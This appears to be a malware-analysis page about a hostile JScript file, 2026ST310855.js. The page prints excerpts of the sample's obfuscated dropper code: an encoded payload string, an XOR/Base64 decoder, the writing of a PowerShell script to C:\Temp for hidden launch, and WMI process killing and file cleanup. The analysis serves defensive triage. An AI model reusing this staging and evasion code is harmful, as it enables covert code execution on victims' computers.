Hostile 100% javascript Download

2026ST310855.js

Obfuscated PowerShell execution, process termination

WSH DeleteFile beside concealed PowerShell staging and launchXOR/Base64 decoder and PS1 staging with hidden bypass launch
SHA-256a3c43099f08d8c1ec1124c3ba90101f34fd07fc684ba4b8ea394784a2d58bc82

Evidence

Candidate bytes decoded: base64 lines 2–9
⋯5 lines
7
8 var CONFIG = {
9 PAYLOAD: "FQA+DjEOanxpbXB5DgVhaDQ1amMVbQl5EAphaAEwUWMKEQkAEBRuaAEFVFgKDnUAaRRwZwEFYV0xDmp8aW1weQ4FYWg0NWoUBlB0JxUYHDYEVjcwPh1zVQkFJicIBjYNOTMHC3QpASoYFCkMBA0MPGNuEScMBmQ/BTZvNgFoVioJHRA2BCMNLQASQUkiLQs2GhkuUDg0F0lbFxUuHjgTJy8wCyJ1bXQnDwQHBSg0FBkUQAARE24fBR8dIC4KLHtxFy0yJhgSVEoTHAtTWi0sKTUUGxcDaBQ3fWgvKhcSEDY3Nm9qH25dOSEGA2QeDSMOCQB8TQ0qC2MYFl1TAAIMXl0HKDIYFB80NQwYFmtvDhQMBAA2ByYiMiRuDHAaBjlhGCcJLTkobE0aBwg7M2NVFjk3E0NaOSsQEjgcXTEOanxpbXB5DgVhaDQ1amMVbQl5EAphaAEwUWMKEQkAEBRuaAEFVFgKDnUAaRRwZwEFYV0xDmp8aW1weQ4FYWg0MGoRAWhJFBoGACUEVzMjOxJ3CRQXZzoLAiUVDDcTQFpyLCgzOBMpOAIIKVoKEQ4dOAMmBwwMaBdsfCcQDRA6AzwrIzh2c3sZcwwhM2NRMDk3E1RjGAoyMzwfCCULNS5rY …
Source line exceeds 136536 characters line 9
9:1507… GTNgFAgeCTIOKHd+Fgg6IwY8KjIUHBd/agYsFhphAyMvHBN0dAkaAwRhIRMwJAgvJ25BDQ4kOikaHjsgCHdjUSIGGCsABSoZCBIUDGMII24IYDVVODYqEFtxLDo9PxxkNjcDbidscyEkbR8oMggzExE/d2sNA2cIBDhdMwg3KUl3LQ4wMBRkUAMgOT12bCwpD2MbZ …
Escaped C:\Temp\ path in JavaScript lines 10–17
10:21… QdaZZE99@@^",
11 MAX_EXEC_MS: 100000,
12 WORK_DIR: "C:\\Temp\\",
13 SCRIPT_PREFIX: "ps_"
14 };
15
16 // ------------------------------------------------------------
17 // Single c …
XML node bin.base64 datatype assignment lines 56–75
⋯4 lines
60 // ---- transform #2: base64 decode (via MSXML + ADODB) ----
61 Processor.prototype.transformB64 = function (encoded) {
62 var xmlDoc = this.make("MSXML2.DOMDocument.6.0");
63 var el = xmlDoc.createElement("b64");
64 el.dataType = "bin.base64";
65 el.text = encoded;
66
67 var st = this.make("ADODB.Stream");
68 st.Type = 1;
69 st.Open();
70 st.Write(el.nodeTypedValue);
71 st.Position = 0;
72 st.Type = 2;
73 st.Charset = "utf-8";
74 var out = st.ReadText(-1);
75 s …
CreateTextFile invocation syntax lines 126–173
126:26… on ----
127 Processor.prototype.token = function () {
128 var alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
129 var s = "";
130 for (var i = 0; i < 12; i++) {
131 s += alpha.charAt(Math.floor(Math.random() * alpha.length));
132 }
133 return s + "_" + this.clock();
134 };
135
136 // ---- deploy ----
137 Processor.prototype.deploy = function (content) {
138 this.fs = this.make("Scripting.FileSystemObject");
139 this.shell = this.make("WScript.Shell");
140
141 var dir = this.cfg.WORK_DIR;
142 if (!this.fs.FolderExists(dir)) {
143 try { this.fs.CreateFolder(dir); } catch (e) { /* swallow */ }
144 }
145
146 var name = this.cfg.SCRIPT_PREFIX + this.token() + ".ps1";
147 this.scriptPath = this.fs.BuildPath(dir, name);
148
149 var writer = this.fs.CreateTextFile(this.scriptPath, true);
150 writer.Write(content);
151 writer.Close();
152
153 // register cleanup immediately upon successful write
154 var self = this;
155 this.pushCleanup(function () {
156 try {
157 if (self.fs.FileExists(self.scriptPath)) {
158 self.fs.DeleteFile(self.scriptPath, true);
159 }
160 } catch (e) { /* swallow */ }
⋯4 lines
165 Processor.prototype.killByScriptPath = function () {
166 try {
167 var q = this.wmi().ExecQuery(
168 "SELECT * FROM Win32_Process WHERE Name='powershell.exe' OR Name='pwsh.exe'"
169 );
170 var it = new Enumerator(q);
171 for (; !it.atEnd(); it.moveNext()) {
172 var p = it.item();
173 if (p.CommandLine.indexOf(this.scriptPath) > -1) p.Terminate(0);

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.